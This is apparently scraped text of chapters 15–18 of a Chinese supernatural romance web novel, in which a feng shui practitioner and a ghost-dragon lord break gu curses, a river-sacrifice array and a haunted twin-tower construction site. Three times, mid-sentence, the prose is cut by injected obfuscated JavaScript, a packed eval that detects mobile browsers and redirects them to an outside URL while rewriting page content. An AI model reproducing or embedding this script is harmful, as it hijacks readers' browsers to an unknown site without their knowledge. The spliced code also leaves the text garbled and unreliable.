l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237045|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数条红头蜈蚣! 要多可怖有多可怖! 是蛊! 晏清解决掉黑龙,转头袖摆翻卷扫落蜈蚣,指尖凝出幽冥火莲花:“娘子可听过‘活人棺’?” 林知夏蹙眉。 玄门秘术中确有记载,活人棺需取阴年阴月阴日生的女子,在其心脏种入母蛊,再借七十二煞方位活埋。待七七四十九日后,女子血肉与地脉煞气融合,便可炼成能改风水大势的“活龙脉”! 也就是说眼前的年轻女人可能已经不是活人! 林知夏心里很不是滋味。 她见过周晓芸表姐的照片,就是试图再次跑向棺木的年轻女人?! “他们给小芸表姐种蛊压根不是为了山神祭!”攥紧微微发烫的墨玉戒,林知夏咬牙切齿,“是要把她做成活人棺,用她的命格来温养龙怨!” 下方土地轰然塌陷,晏清揽着她腾空跃起,眨眼功夫周晓芸表姐被铁链顷刻拽入地缝消失不见,八具青铜棺重新排列成北斗七星状。林知夏的罗盘磁针全部倒转,针尖直指第三道弯河心。 林知夏拽下三根头发系在罗盘天池,压制它蠢蠢欲动想要飞出去干架的‘激情’,一面跟宴清商量,“不能让镇河铁牛被锁链彻底拖出水面!”她有些着急,铁牛如果被青铜锁链拖到岸上,钉魂阵得到反哺,就会实力大涨,到时他们肯定讨不到好! 晏清示意她稍安勿躁,并指划破虚空,青焰顺着地脉裂隙烧向河湾。水面立时沸腾如滚油,镇河铁牛的牛角上缠着的青铜锁链寸寸断裂。林知夏看着锁链上熟悉的北斗纹路,终于意识到第三道弯与屏山村的地脉其实是同源而生! 墨玉戒这时脱手飞出,化作流光没入铁牛左目。林知夏反应很快,知道墨玉戒不会无缘无故离手,当机立断甩出五帝钱钉住震位,黄铜钱嵌入地面的瞬间,铁牛腹部应声裂开道缝隙——里面赫然封着半截焦黑龙骨! 这头铁牛不是关着宴清的龙魂,竟然还有一节龙骨! “是左前爪。”晏清的声音裹着千年风雪,每到这时候,林知夏内心深处就会不由自主的生出对他的愧疚和怜悯。 太可怜了。 谁造成的? 她老祖宗! 周晓芸表姐的尖叫再次刺破浓雾。 林知夏转头望去,女孩儿此时正被铁链倒吊在镇河铁牛的牛角上,心口钻出的母蛊已长成婴孩大小。更可怕的是铁牛右眼突然淌出血泪,泪珠落地即成青面獠牙的尸兵! “天地玄宗,万炁本根!” 林知夏咬破舌尖将血抹在罗盘上,脚踏七星步冲向震位。狂风卷起她绣着踏云麒麟的裤脚,黄铜磁针在剧烈震颤中迸出火星。就在她即将触及镇河铁牛的刹那,河底突然升起九盏白灯笼,灯笼上的人皮符咒直直组成了天罗地网! “当心些!” 晏清瞬移至她身后,幽冥火凝成盾牌挡住尸兵利爪。林知夏趁机将罗盘按在铁牛额头,厉声喝念:“乾坤逆转,龙归正位——破!” 青光炸裂的瞬间,第三道弯的地脉发出龙吟般的轰鸣。铁牛腹中的龙骨化作流光没入墨玉戒,戒指下一瞬乖乖回到林知夏手中,戒面莲纹在这时骤然绽开第二片花瓣。林知夏还未来得及欣喜,突然发现周晓芸表姐心口的母蛊竟然顺着铁链爬向了晏清! “小心!” 她本能地扑过去挡在晏清身前,完全忘了身为可虚可实的大鬼,蛊虫并不能对他造成任何实质的伤害。 就脑子一热,直接冲了。 母蛊的利齿咬上了她的肩胛骨,剧痛袭来的刹那,幽冥火席卷而来,将蛊虫直接烧成了渣渣。 晏清冷着脸撕开她被鲜血浸透的衣领,不说话,唇齿直接贴上伤口,肩颈的龙纹如活物,顺着血脉游走到心口位置。 “忍着点。”他声音混着血腥气,“蛊毒入心脉就麻烦了。” 林知夏疼得眼前发黑,恍惚间感觉到冰冷舌尖扫过自己的锁骨。墨玉戒在这时突然发烫,戒面莲纹与晏清眉心血纹共鸣出鎏金光晕。当最后一丝蛊毒被吸出,她听见铁牛方向传来锁链崩断的脆响。 “铁牛要沉了!”林知夏挣扎着指向正在下陷的镇河兽,“龙魂——” “无妨。”晏清拭去唇边血迹,“被钉魂阵吸去的龙魂已回到铁牛腹中,方才那半截龙骨记下了星位,待集齐龙骨再来寻具体方位不迟。” 16. 山神娶亲(完) 山风裹着潮湿的槐叶掠过断崖,林知夏蜷在晏清的怀里,嗅到他衣襟间若有若无的沉水香有些出神。幽冥火凝成的披风裹住她依然还在渗血的肩头,伤口处游走的龙纹正将残余的蛊毒缓缓逼出体外。 这个过程其实有点难挨。 “疼就咬这个。”晏清将一截衣袖塞进她齿间,不等她反应,指尖凝出的幽蓝火焰直接点到伤口边缘,那滋味……没法儿形容。 对幽冥火,林知夏有时候是又爱又恨。 幽冥火暖得时候很温暖,冷的时候也是真的寒意彻骨,千年寒冰可能也就这效果了。 反正林知夏被激的,嘴里没忍住发出了闷哼声,额角冷汗顺着发梢滴到了宴清的手背上,墨玉戒感应到主人的痛楚,戒面并蒂莲纹忽明忽暗地闪烁起来,齿间暗金云纹的绸缎也差点儿滑落。 又狼狈,又可怜。 晏清垂眸看着怀中少女苍白的面容,鎏金瞳孔掠过一丝晦暗。当年被抽筋剥骨时都未觉难捱的痛楚,此刻却像透过契约漫上心头。他忽然俯身含住她的耳垂,口中寒气蔓延,仿佛连同渗血的伤口都又冻凝了几分。 “这般可好些了?”他问。 林知夏:“????” 林知夏:“…………!!!” 林知夏整个人都麻了,一边耳垂冻得没有知觉,另一边的耳尖则以肉眼可见的速度漫上绯色。正要挣扎,崖底突然传来铁链拖曳的声响——镇河铁牛正缓缓沉入第三道弯,牛角上挂着的青铜铃随着水流激荡,将整条河湾映得青光粼粼。 “龙魂在示警。”晏清松开她直起身,玄色锦袍扫过满地碎骨,“这河道里还藏着东西。” 林知夏:“……”这时候再计较刚刚被含耳朵会不会显得自己太小题大做没有大局观? 但真的好憋屈啊啊啊啊!!! 幽冥火横扫下方水面,密密麻麻的陶罐一一浮出。宴清隔空抓来一个细看,发现每个罐口都被浸血的黄符封着,符纸上的敕令是倒写的“镇”字。林知夏强忍眩晕摸出罗盘,黄铜磁针疯狂打转,针尾凝出的水珠拼出个残缺的“祭”字。 “是生祭。”她攥紧微微发烫的墨玉戒,想到之前落云村的伪山神是婴孩模样,脸色更难看了一些。 宴清看她一眼,将她难以启齿的判断补充完整:“这些陶罐里封着的是未足月的婴尸。” 河面突然炸开数道水柱,腐臭的黑雾中爬出几十具挂着水草的成人尸骸。这些尸体脖颈都系着褪色的红绸,腕间铜铃与祠堂那些抬棺人脖子上挂的如出一辙。最骇人的是它们腹腔鼓胀如球,隐约能看见蜷缩的婴孩轮廓。 晏清袖摆翻卷,幽冥火凝成的长剑钉入河心:“以婴尸祭河,何等腌臜下作!” 林知夏正要甩出五帝钱助阵,余光瞥见周晓芸表姐正被铁链拽向铁牛沉没的方向。最诡异的是,少女心口破开的血洞中竟然又钻出一条赤红蜈蚣,而那条蜈蚣清清楚楚生着张皱巴巴的人脸! “她身上的蛊不是清干净了吗?!”林知夏皱眉甩出墨斗线与锁链抢人,指尖血珠顺着丝线渗入少女眉心,“天地玄宗,万炁本根——醒!” 少女空洞的瞳孔突然聚焦,喉间发出困兽般的呜咽。缠在她脚踝的铁链应声碎裂,幽冥火顺势卷住下坠的身影。林知夏趁机将清心符拍在她天灵盖,符纸燃起的青烟中传出凄厉婴啼。 “当心!” 晏清瞬移至她身后,绸带卷起满地碎石掷向河面。刚爬上岸的尸骸被砸得四分五裂,腹腔中滚出的婴尸满口獠牙,四肢并用如壁虎般爬上涯壁,气势汹汹朝他们扑来。 林知夏反手将桃木剑插入地面,咬破指尖在剑身画出血符:“五星镇彩,光照玄冥——封!”青光顺着剑刃没入地脉,第三道弯两岸突然浮起北斗七星状的光点。尸骸触及光晕的刹那化作飞灰,河心的陶罐接连炸裂,浑浊的河水竟渐渐恢复清澈。 墨玉戒再次脱手飞出,在镇河铁牛完全沉没处吸尽最后一丝龙气。林知夏接住飞回的戒指,发现并蒂莲第二片花瓣已然凝实,戒面隐约浮现金色脉络。 “娘子这血阵倒是精妙。”晏清指尖拂过她汗湿的鬓角,将人打横抱起,“只是下次逞强前,不妨先想想为夫的心脏受不受得住。” 林知夏苍白的小脸又添三分不正常的红,她这会儿真的一点力气都没了,气血两亏,伤得很重,但这不妨碍她攥着他的衣襟小声哔哔:“鬼君有心跳的吗?” “为夫有没有心跳娘子不知道?”他干脆站定,玄色衣襟突然敞开寸许,露出冷玉般的胸膛,“来,娘子再摸摸看。” 林知夏:“……” 林知夏直接闭眼装晕,耳边传来不正经老鬼的低笑:”娘子这般害羞,洞房花烛时可如何是好。” 林知夏:“……”呵! ** 黔南的夜雨来得急,雕花窗棂被雨滴敲得噼啪作响。林知夏披着薄被窝在圈椅里,看幽冥火在瓷碗中熬煮汤药。药香混着桂花糖的甜腻在室内氤氲,周晓芸守着她表姐在隔壁间休息。 林知夏以为这位表姐已经死得不能再死,根本没有生还的可能。 结果!那只贼拉丑的蜈蚣从她心口钻出来后,她竟然有了属于人的生气!虽然很微弱,微乎其微的弱,但人确实是活着的! 只要活着,就不能放弃。 至于能不能救得活,就看她自己的造化了。 能做的都做了,都帮的也都帮了,她这情况送医院没用。好在周晓芸家的老宅就在山下不远,挺适合他们暂住。 晚上睡不着,林知夏跟宴清开始复盘落云村发生的一切。 “山神娶亲从头到尾都是幌子,”林知夏捏着汤匙搅动药汁,肩头龙纹随着动作若隐若现,“我就是想不明白那些村民怎么知道那么多秘辛?” 晏清倚在博古架前把玩那件掺了龙鳞粉的白骨项圈,语气漫不经心,“迟早将此人揪出来!” 果然,他也觉得这事幕后有推手。 林知夏:“锁龙棺需至阴命格温养,山神祭是为活人棺打掩护,不管幕后是谁,都不能放过。” 宴清将掌中项圈熔成了渣渣,几缕黑气挣扎着被幽冥火吞噬,“可惜幕后之人算漏了两件事。” “沈氏送的星象图,还有……”林知夏舀起勺汤药吹了吹,“鬼君大人你?” “错。”玄色衣摆扫过她膝头,晏清俯身就着她的手饮尽药汁,“是他们低估了林家姑娘不要命的劲头。” 林知夏手一抖,药匙磕在碗沿发出脆响。对方冰冷的唇擦过她指尖,激得腕间龙骨镯都泛起涟漪:“你……你怎么能喝东西!” 再像活的,也是鬼! 还能不能有点身为鬼的自觉! “为何不可?”他理直气壮地又凑近些,“为夫的灵力都用来给某人疗伤了。娘子这般小气,当心寒了救命恩人的心。” 林知夏:“……我是这意思吗!” 宴清刚要继续逗她,窗外忽的炸响惊雷,隔间传来瓷器碎裂的声响。林知夏慌忙起身,刚走两步腿就一软,天旋地转差点摔倒。 她真的太虚了。 “急什么。”晏清拦腰将她抱起,快步走去隔间。 周晓芸的表姐不知道怎么就醒了,她此时正蜷在床角发抖,打翻的药碗碎片扎进掌心也浑然不觉。 “别过来!”少女抄起药碗碎片对准自己咽喉,瞳孔泛着诡异的青灰色,“山神会降罪的……” 周晓芸在一旁满脸焦急,“表姐你别乱来,你伤得很重!冷静点!伤口裂开就麻烦了!而且根本没有山神,那都是骗人的!”见林知夏过来,刚要迎上来寻求帮助,结果发现好友是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237046|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人抱过来的,抱她的人还是个coser?! 这男人从哪冒出来的?! 但现在情况紧急,男人再漂亮好看,这会儿她也没功夫细问,“知夏,我表姐……” 林知夏示意她稍安勿躁,想要动手,晏清已经先一步并指划开周晓芸表姐的腕间血脉,眨眼功夫,几条红头蜈蚣顺着黑血涌出,落地即被幽冥火烧成灰烬。 “这蛊是长在她身上了吗!”林知夏眉心微拧,有些想不通。 “最后残余罢了。”晏清不以为然,“幕后之人早将她的命格与锁龙棺相连,若非救她及时,此刻的她已是具行尸走肉。” 说到这里,似感应到什么,挥袖将《春庭夜宴图》放出。 画里有黄河古道星象图,出发前林知夏怕会用到,又担心自己拿着不安全,专门交给宴清保管。 现在见他放出来,林知夏刚要问,就见沈氏的虚影自绢帛中飘然而出:“姑娘若信得过,不妨让这孩子在画中修养几日。” 林知夏:“你不是投胎去了?” 沈氏笑笑,“魂魄已去投胎,我为画灵,一丝执念罢了。” 林知夏心说这操作666。 她看向晏清,这家伙瞒得还挺严实,要不是沈氏主动露面,还不知道要被瞒多久! 宴清似没看到她眼中的幽怨,笑笑,挥袖将画卷铺到周晓芸表姐身下。沈氏素手轻挥,无数侍女自廊桥深处走来,捧着药盏将表姐引入画中楼阁。原先阴气森森的夜宴图早没了当时的诡异氛围,朱红宫灯映得少女睡颜恬静。 “画灵修善道,倒比某些玄门世家干净。”晏清弹指在画卷设下禁制,刚要抱林知夏回房休息,周晓芸弱弱的喊住好盆友,“知、知夏,我表姐……这、刚刚……那、那……” 林知夏在唇边比个“嘘”的动作,“乖,表姐没事了,你也休息会儿,一切都会好的。” ** 隔天一早,警察接到报案,说山上落云村出事了,村子大多数人无故昏迷,有人在村子里发现了几具尸体。 这事一出,简直石破天惊。 警察当即在附近展开排查,然后就理所当然的排查到了周晓芸家老宅这里。 雨幕中的古镇青石板路泛着水光,林知夏就这么眼睁睁看着晏清用幻术应付来做笔录的民警。 玄色锦袍化作笔挺西装,银发规整地束在脑后,乍看倒像从民国剧中走出的贵公子。 “他说是您先生?”年轻警员狐疑地打量晏清,“可是系统显示林小姐您未婚。” “海外侨胞,刚领的证。”晏清面不改色递上幻术凝成的结婚证和护照,“需要看婚戒吗?”墨玉戒配合地闪过流光,晃得民警眯起眼。 林知夏在桌下狠狠踩他脚背,面上笑得温婉:“给您添麻烦了,我先生就爱开玩笑。” 好不容易送走警察,周晓芸捧着姜茶蹭过来:“知夏,警察如果查监控……” 林知夏安她的心,“都处理过了,放心。” 周晓芸:“山上……” 林知夏:“山上跟我们有什么关系,小芸,就当一场梦,不要想太多。” 周晓芸见她什么都不愿详说,知道好盆友是为了自己好,索性也知趣的不再问了。目光悄悄瞅了眼银发男人,嗫喏着问,“你们……真领证了?什么时候的事?” “她还小时便收了聘礼。”晏清把玩着林知夏的发梢,笑意盎然,"三书六礼,拜过天地,我们是正经夫妻。” 林知夏被姜茶呛得咳嗽,琉璃盏中的桂花糖都被震洒了几粒。晏清自然地伸手替她拍背,掌心龙纹贴在后心输送灵力:“慢些,又没人同你抢。” 周晓芸眼神在两人之间转了几个来回,突然笑起来,“你们感情真好,好恩爱啊!” 林知夏:“……………” 17. 双子煞(一) 晨雾漫过青瓦屋檐,檐角一丛翠竹在晨风里荡出细碎清响。林知夏撑着伞站在周家老宅的天井里,看宴清用幽冥火将最后半截青铜链熔成齑粉。 昨夜山间暴雨冲垮了落云村大半房屋,那些藏在祠堂地窖里的蛊虫虽被幽冥火烧成了渣渣,一些罐子、腌臜物什么的却都还在,这下全数被埋在了泥石流下一了百了。 “是业力反噬。”宴清玄色锦袍扫过青石板上凝结的露水,袖口暗金云纹被天光映得泛出些暖色,“这镇子东南角有处活水眼,极为适合养伤,我带你去那里住如何?" 林知夏:“……那儿是景区,不让住人。” 宴清不以为然,“这有何难,只要娘子愿意,为夫想办法便是。” 林知夏心说那还是算了吧,在有条件的情况下,我还是想尽可能的遵纪守法做个好公民。 她转动伞柄,檐溜雨水顺着伞骨滑成珠帘:“小芸家挺好的,宅子刚翻新不久,风水气场都不错,咱们这两天就走了,没必要为了住的浪费精力。沈姑娘方才传话,说表姐的魂魄需要七星灯引路才能归位。” 话刚说完,腰间多出条绸带。宴清隔着伞面将她往廊下带,“淋雨上瘾了?伤处才结痂就往潮气里钻。” 林知夏:“……哦。” 两人踏进卧室,案几上的《春庭夜宴图》无风自动徐徐展开。 沈氏的虚影自画中廊桥深处幽幽飘来,素手捧着的琉璃盏中盛着七颗莹润露珠,巧笑倩兮,“宴大人要的七星天水,我已备好。” 林知夏好奇,“这就是七星天水?”传闻七星天水是依照北斗七星的星宿方位,每一节气在对应的特定方位收集一滴露水精华,要历经整整二十四节气,每一星位都要集齐二十四滴露水精华,再搭配特殊手法才可炼制成七星天水,少一滴、一个步骤,都不是七星天水。 正要伸手去接,宴清先一步卷过琉璃盏!幽冥火裹着露珠凝成七盏莲灯,他指尖在少女眉心轻点:“躺好。” “这么珍贵的东西真要给我用啊?其实我伤得也没那么重。”这宝贝用自己身上感觉老可惜了! 宴清:“这几日是谁夜里疼得咬破枕头睡不着?” 林知夏:“……” 林知夏直接噤声,老老实实趴到竹榻上。 衣领被扯开的刹那,后肩狰狞的伤口暴露在晨光里,结痂处泛着诡异的青紫色。宴清垂眸将莲灯按北斗方位摆在她周身,鎏金瞳孔映出皮肉下游走的蛊毒残秽。 “忍着些。”冷玉般的手指贴上蝴蝶骨,语气散漫,“这次可没有桂花糖哄你。” 林知夏悄悄撇了下嘴咕哝,“我又不是小孩子。” 宴清:“你比小孩子又能强到哪里。” 这话林知夏可不爱听了,刚要扭头反驳,幽冥火已经顺着脊柱窜入经脉,林知夏闷哼一声,指节下意识攥紧了竹榻边缘,手背青筋鼓起,蚀骨寒意与灼痛在血脉里撕扯,冷汗顺着下颌滴在竹塌上,不多会儿便积出小片水渍。 墨玉戒感应到主人痛楚,戒面莲纹突然绽放,游走的金光合着七星天水将隐匿极深的残余蛊毒生生逼出体外。 不知过去多久,一声“成了,”钻进林知夏耳中。宴清用绸帕拭去她颈间冷汗,指尖拂过新生出的淡粉疤痕,戏谑道,“娘子这身皮肉倒是娇气,若非怕娘子每日里躲在被子里偷哭,我何苦费这样的劲找来七星天水为你修复蛊毒印记。” 林知夏反手扣住他手腕,掌心相贴的刹那,指根莲纹与宴清眉心血印同时泛起微光,不甘示弱,“鬼君这般殷勤,莫不是要讨什么利息?” 宴清就势俯身,银发垂落她汗湿的鬓角:“为夫想要什么,娘子当真不知?” 沉水香混着药香萦绕鼻尖,林知夏望着近在咫尺的俊美容颜,耳根蓦地烧起来。 比不过比不过,脸皮真心比不过! 正要推开他,门外突然传来重物坠地的闷响——周晓芸双手无措的呆立在门外,脚边是摔变形的托盘。 “我、我来送早饭……” 宴清广袖扫过林知夏凌乱的衣襟,转身时玄色锦袍已恢复齐整。 林知夏冲她笑笑,“麻烦你了小芸,我们还不饿,暂时不吃了。” 周晓芸尴尬的讪笑,“那……那我把这些拿走,不、不打扰你们了哈!”说着动作麻利的捡起托盘,包子蒸饺粉肠一股脑塞回托盘上,余光瞥见竹榻边散落的七盏莲灯,灯芯竟是用人形符纸叠成的。她突然想起昨夜表姐在画中苏醒时,那些从侍女袖中飘出的纸人,顿觉得后颈发凉。 起身就跑。 啊啊啊啊啊啊,又是纸人又是撞见姐妹和老公亲热什么的真是太尴尬了!!!! “最迟三日后申时前咱们需离开黔南。"宴清从袖中摸出一个粉白瓷瓶,他将瓶中的朱砂粉撒在莲灯灰烬上,语气淡然,“此地龙气已散,三日內必有地动。” 林知夏扣衣扣的手指顿了顿。第三道弯取回的龙骨此刻正在墨玉戒中温养,戒面第二片莲瓣已然凝实,她能清晰感受到宴清周身萦绕的龙气比先前更盛。 “地动……” “此为天罚,非人力可阻止。”见她面露忧虑,顿了顿,接着道,“安心,天道最为公允,不会牵连无辜之人。” 林知夏发现个很有趣的现象,鬼君宴清是个天道党。 他对天道非常信任,或者说推崇,一般有过他这样经历的,大多会愤世嫉俗,浑身上下从里到外充满怨气和不满,对世道不满,对遭遇不满,对老天爷不满,感觉全世界都对不起自己。 但宴清不,他一直和她强调天地有灵,天道公允,对于他的那些遭遇,不怨天不怨命,甚至不会牵连无辜人类,唯一怨恨的,是那些算计他的人类天师。 所谓冤有头债有主,在这位鬼君身上真的很具现化。 他其实……是个很单纯的好鬼?好龙?额,总之不坏。 *** 两天后,周晓芸表姐被从画中移出,她依然昏迷,气色却好了许多,身上蛊毒全解,伤势恢复的也不错,唯一麻烦的的神魂受损无法补救,以后可能会显得不那么聪明机灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240915|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这是沈氏含蓄的说法,用宴清的话说就是会有些憨痴。 “此女生性凉薄自私,唯利是图,平日也不是什么善男信女,蠢些笨些不见得是坏事。” 林知夏在他背上悄摸戳了一下,示意他闭嘴,然后安慰周晓芸,“能活下来就是最好的结果了,她只是笨一点,不影响日常生活,别担心。” 周晓芸笑着点头,“我知道的,知夏,这次真的非常感谢你,如果不是你,我和我姐可能都没命活到现在。” 林知夏上前抱抱她,“咱俩谁跟谁呀,别跟我客气,以后有麻烦尽管找我,我保证不收钱!” 周晓芸噗嗤笑出声,同样抱了抱她,“谢谢你知夏,和你做姐妹真好!” 隔天,林知夏和好姐妹道别,她没有告诉周晓芸这里会发生地动的事,因为宴清说天机不可泄露,若她在这里泄露天机,对周晓芸非但没有丝毫帮助,反而会适得其反。原本她可能只是受惊而已,若是提前知道了天机躲过了此劫,后面就会有更严重的灾祸等着她。 所谓此消彼长,不外如是。 林知夏:“……好的!” 她和宴清没直接走,先去市区把租车的事做个收尾。在鬼君宴清的幻术加持下,林知夏花了十个W买下了已经报废的越野车,没占人家便宜,也没吃亏,前后两个小时不到走完了正规手续,之后坐上回家的高铁。 ** 高铁穿过隧道时,林知夏望着车窗上宴清半透明的虚影出神。离开周晓芸家的老宅,他就继续隐身了。 问就是不想与不相干的人打交道。 好吧,这理由很宴清。 他今天换了件绣鹤纹的玄色长衫,银发用缎带束起,又矜贵又好看,十足的世家公子范儿,如果以这样的形态现身……林知夏忙打住,那还是隐身比较好,要不这一路可能都是被围观的存在。 手机突然来了电话,看到来电显示,林知夏有些诧异,刚接通,手机信号就滋滋啦啦的,根本听不清电话那边的人在说什么。 无奈只能挂断电话发微信,好在微信消息可以顺利发送。 宴清倾身过来,“何人找你?” 林知夏小声说,“是我二师兄,我们已经有半年没联系过了,不知道他怎么突然给我打电话。” 宴清:“我记得你说过,你几个师兄是被你三叔公赶出去的。” 林知夏嘴唇抿了下,嗯一声,“我师兄他们从小在林家长大,突然被不留情面撵走,伤了他们的心。” 宴清微哂,“你师兄他们毕竟非林家血脉,继续留在林家只会分走林家气运,以你三叔公那小气劲,能在父亲死后才撵走,也是难为他了。” 林知夏:“……”行吧,没事嘴一嘴林家先人可不就是这位的日常消遣。 林知夏和宴清跟着人流走下高铁,九月的热浪扑面而来。出站口电子屏闪烁着红光,滚动播放着某处高楼坍塌事故的新闻。 “据悉,长风集团在建的金融双子楼今晨发生局部坍塌,事故原因疑似……” 18. 双生煞(二) 暴雨打在高铁站的玻璃穹顶上,细密的雨帘彷如无数银蛇狂舞。林知夏握着手机站在出站口的廊檐下,看着新闻画面里那栋扭曲变形的双子楼钢筋骨架,眉心微锁表情认真。 “寅位见煞,卯宫犯冲。”晏清虚影贴在她身侧,玄色鹤纹长衫被穿堂风吹得猎猎作响,“这楼塌得倒是有趣。” 林知夏将手机新闻图片放大,图片上清楚显示,在建的A座与已经封顶的B座形成了诡异的夹角,“开发商怕不是把阴阳鱼弄反了?”她指尖划过屏幕上的建筑平面图,“这楼临江而建本该取‘玉带缠腰’的格局,偏要改成‘双龙戏珠’……也不知道请得哪位风水师做的堪舆。” 话音未落,手机突然震动。二师兄的声音在雨声中格外清晰:“小夏,真是对不住,我这边实在走不开,长风集团的负责人和我有些交情,我欠了人情,不能不帮,情况比较紧急,才不得不麻烦你。工地接连出事,可能有点凶,你先去看看,如果应对不来也不要勉强,自身安全最重要,我这边忙完会尽快赶过去。” 林知夏:“知道啦,师兄你怎么变得这么啰嗦,一会儿功夫打好几个电话了,我知道怎么整,行了,忙你的吧,挂了。”说完直接挂了电话,特别干脆利落。 片刻,微信传来消息,是二师兄将双子楼的风水图纸发了过来。 暴雨里突然卷来股腥气,晏清挥袖翻卷扫落三片树叶,叶片在积水中自成卦象,林知夏蹲下身,透过卦象,看见自己倒影里浮着层青灰雾气,“凶煞之气?” “怕是要应在这栋双子楼。”晏清指尖燃起幽冥火,火苗在雨幕中凝成两条交缠的蛇形,“你师兄倒是会找麻烦。” 林知夏:“我师兄也是没办法。” 宴清冷嗤,“你伤势未愈,本该回去养着,结果中途下车,”话音微顿,林知夏主动握住他的手,轻轻晃了晃,宴清:“……” *** 江州市郊的工地围挡上挂满了褪色的黄符,林知夏戴着安全帽穿过钢筋林立的废墟,罗盘磁针自进入楼栋范围就开始疯狂震颤。戴着金丝眼镜的项目经理钱辰擦着汗追上来:“林小姐,这是第七次坍塌了,每次都在AB座连接处……” “连接处?”林知夏停步望着横贯两栋楼的空中连廊,钢构表面布满暗红色锈迹,“你们在连廊浇筑时,是不是埋过东西?” 钱经理闻言脸色微变,支吾道:“是、是港城大师指点的‘龙凤呈祥局’,说要埋镇物才能……才能龙凤呈祥。” 突然刮来的阴风差点掀飞头上的安全帽,林知夏伸手去抓的瞬间,整片围挡轰然倒塌。晏清揽着她腰肢腾空跃上塔吊,玄色衣袖扫过钢索时溅起幽蓝火星,“娘子还是不要管这种事了,自作孽,不可活。” 林知夏站在高处望着废墟中翻涌的黑雾倒吸冷气,这样浓的煞气,钱家到底干了什么伤天害理的事?! 钱辰见她安然无恙跳下来,忙跑过来解释说,“林、林小姐,我们没做什么出格的事,真的!只是这边刚动土时打地基挖出过民国时期的合葬棺!当时没怎么重视,潦草迁了坟继续动工。” “胡闹!”林知夏皱眉,“动合葬墓本就是大忌,你们不但不超度,还敢在煞眼上动土!真是嫌命长!” 隐匿的幽冥火顺着钢索烧向地面,晏清鎏金瞳孔映出地脉裂隙:“何止,他们怕是连镇魂钉都省了没埋。” 林知夏:“……”动土前挖到墓葬,照规矩应该埋上一枚镇魂钉安魂镇宅……这个长风集团说出去也是大集团,还专门请了风水师堪舆,结果连最基本的规矩都不懂! *** 夜幕降临时,林知夏蹲在项目部板房前研究施工图纸。节能灯管在头顶滋滋作响,将她的影子投在标注“吉位”的B座位置。 “林小姐要不要先吃……”钱辰端着盒饭凑过来,话没说完就被晏清扫落的文件夹砸中膝盖。玄色衣摆擦着林知夏耳畔掠过,带起阵沉水香的风。 这风来的蹊跷,吓得钱辰脸色煞白,面无人色。林知夏嗔怪的看了眼隐形鬼宴清,示意钱辰安心,接过盒饭简单吃了两口,听宴清分析道,“戌时三刻阴气最盛。”他指尖点在地基平面图的震位,“娘子若想破这双生煞,需在子时前找到阵眼。” 林知夏用罗盘压住图纸,“阵眼应该在……”她突然噤声,眼前图纸上的墨迹似活了般,竟缓缓洇出个人形,看轮廓身形,似是名老人。 “这、这、这……爷、爷爷!?”钱辰尖叫着后退,“怎、怎么可能!” 图纸上的老人穿着民国长衫,手杖正点在AB座交接处,似要表达什么。林知夏想起新闻里提过长风集团创始人的发家史——八十年前靠典当行起家的江州钱王。 她若有所思的转头盯向浑身发抖的男人,“令祖葬在何处?” 钱辰缩着身体抖抖索索答,“城、城西公墓。” 林知夏:“挖出的坟茔迁到哪里了?” “城、城东新开发的墓地。” 林知夏:“你爷爷是不是留过话,不许动这块地。” 钱辰目露震惊之色,“您、您怎么知道?!” 林知夏微哂,“迁走的那具合葬棺里是否只有一具尸骨?” 钱辰一脸敬佩,“是、是,您说得都对!” 林知夏叹气,“那具合葬棺也是你祖宗,我要是没猜错,那应是你祖父的双胞兄弟英年早故葬在这里。双胞胎同葬需隔江相望,你祖父将自己的墓地安排在城西,就是为了与这里隔江相望,成抱月合环之势,保你们家至少还能富足三代,你们倒好,把先人坟茔直接迁走了。” 宴清:“人心不足蛇吞象,管他们作甚!” 林知夏刚要说话,“经理!”凄厉的哭喊打断了她,守夜工人连滚带爬冲进来:“B座电梯井……电梯井里长出头发了!” ** 应急灯的光束刺破电梯井黑暗,林知夏看着井壁上密密麻麻的头发丝,感觉后颈爬满鸡皮疙瘩。那些发丝在冷光中泛着诡异的蓝,像有生命般朝着安全绳缠绕。 “是阴发。”晏清虚影贴在她背后,幽冥火顺着绳索烧断袭来的发丝,“双生煞已成气候,娘子可要小心。” 林知夏应一声,忽的感觉脚踝一紧,整个人噌的一下被拽向井底。坠落瞬间腰间多出条绸带,晏清揽着她撞破电梯门滚进地下三层,玄色锦袍在水泥地上擦出串火星。 幽冥火照亮四周,林知夏看清周遭嫌恶的皱皱眉——这大概就是钱辰口中所谓的镇物了。 对面承重墙上嵌着具黑木棺椁,棺盖被七根桃木钉封死,棺身缠满浸泡过黑狗血的麻绳。 她抹去棺椁上的浮灰,露出行阴刻小篆:“钱氏双子,长命百岁?” 晏清突然轻笑:“好个长命百岁。”袖摆扫落棺椁顶部的镇魂符,黄符下的双鱼玉扣裂成两半,“那什么港城大师定是与钱家有仇。” 这一点林知夏很赞成。 没仇没怨谁会把黑棺当成镇物,这一看就是歪门邪道,钱家人竟然还信了!难怪气得钱家老爷子刚刚借势显形,估计也被气的够呛。 不肖子孙,奈何奈何! 